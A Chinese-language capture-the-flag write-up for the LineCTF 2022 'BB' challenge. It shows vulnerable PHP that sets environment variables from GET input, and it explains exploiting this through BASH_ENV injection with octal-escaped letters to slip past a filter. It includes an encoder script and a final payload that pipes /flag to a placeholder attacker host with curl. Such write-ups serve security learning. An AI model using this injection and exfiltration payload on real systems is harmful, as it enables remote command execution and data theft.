LineCTF2022-BB
知识点概要:环境变量注入
主页显示源码
<?php
error_reporting(0);
function bye($s, $ptn){
if(preg_match($ptn, $s)){ #$s中有$ptn则返回false
return false;
}
return true;
}
foreach($_GET["env"] as $k=>$v){ #遍历env变量键值对,键给$k,值给$v
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
putenv("{$k}={$v}"); #键过滤等号,值过滤大小写字母
}
}
system("bash -c 'imdude'");
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i")) {
putenv("{$k}");
}
}
highlight_file(__FILE__);
?>
关键代码如下
foreach($_GET["env"] as $k=>$v){ #遍历env变量键值对,键给$k,值给$v
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
putenv("{$k}={$v}"); #键过滤等号,值过滤大小写字母
}
}
system("bash -c 'imdude'");
参考P神两篇文章
https://twitter.com/phithon_xg/status/1495367705825722368
https://tttang.com/archive/1450/#toc_0x06-bash_env
利用如下环境变量注入
BASH_ENV='$(id 1>&2)' bash -c 'echo hello'
这个Bash命令的执行过程是:
- 设置BASH_ENV环境变量,其值为 ‘$(id 1>&2)’
- 该环境变量会在新bash shell启动时被执行
- bash -c ‘echo hello’ 会启动一个新的非交互式的bash shell
- 在该shell启动时,会先执行BASH_ENV变量的值 ‘$(id 1>&2)’
- 该代码会执行id命令,并将输出重定向到标准错误流stderr
- 然后再执行echo hello,输出hello到标准输出流stdout
- 该子shell执行完成后退出
所以命令的最终效果是:
在标准错误流中输出id命令的用户信息,在标准输出流中输出hello
这利用了BASH_ENV变量在启动新bash shell时会被执行的特性。这样可以在新shell执行前,通过BASH_ENV注入预设的代码。
另外,为了绕过bye()函数对大小写字母的过滤,可用八进制的格式替换字母
例如$'\101' = A
用python替换就是先将字母转成十进制再转成八进制
>>> oct(ord("A"))
'0o101'
再从第三位截取到末尾
>>> oct(ord("A"))[2:]
'101'
执行命令要考虑中间的空格问题,空格也进行转换,执行命令会报错
cat /flag
可以被转换成如下两种格式
$'\143\141\164' /$'\146\154\141\147'
或
$'\143'$'\141'$'\164' /$'\146'$'\154'$'\141'$'\147'
两种格式都可顺利被执行
但为了写脚本方便,选用第二种格式,只需对每个小写字母统一处理。脚本如下
import string
cmd = "cat /flag | curl -d @- http://x.x.x.x:9876"
str = ''
for i in cmd:
if i in string.ascii_lowercase:
j = oct(ord(i))[2:]
str += "$'\\"+j+"'"
else:
str+=i
print(str)
命令解释:
curl -d @- http://x.x.x.x:9876 #通过POST方式发送数据到指定的URL
最终payload,GET传参(记得先在自己的x.x.x.x开启监听)
?env[BASH_ENV]=`$'\143'$'\141'$'\164' /$'\146'$'\154'$'\141'$'\147' | $'\143'$'\165'$'\162'$'\154' -$'\144' @- $'\150'$'\164'$'\164'$'\160'://x.x.x.x:9876`
参考
https://blog.csdn.net/RABCDXB/article/details/125351004
https://blog.maple3142.net/2022/03/27/line-ctf-2022-writeups/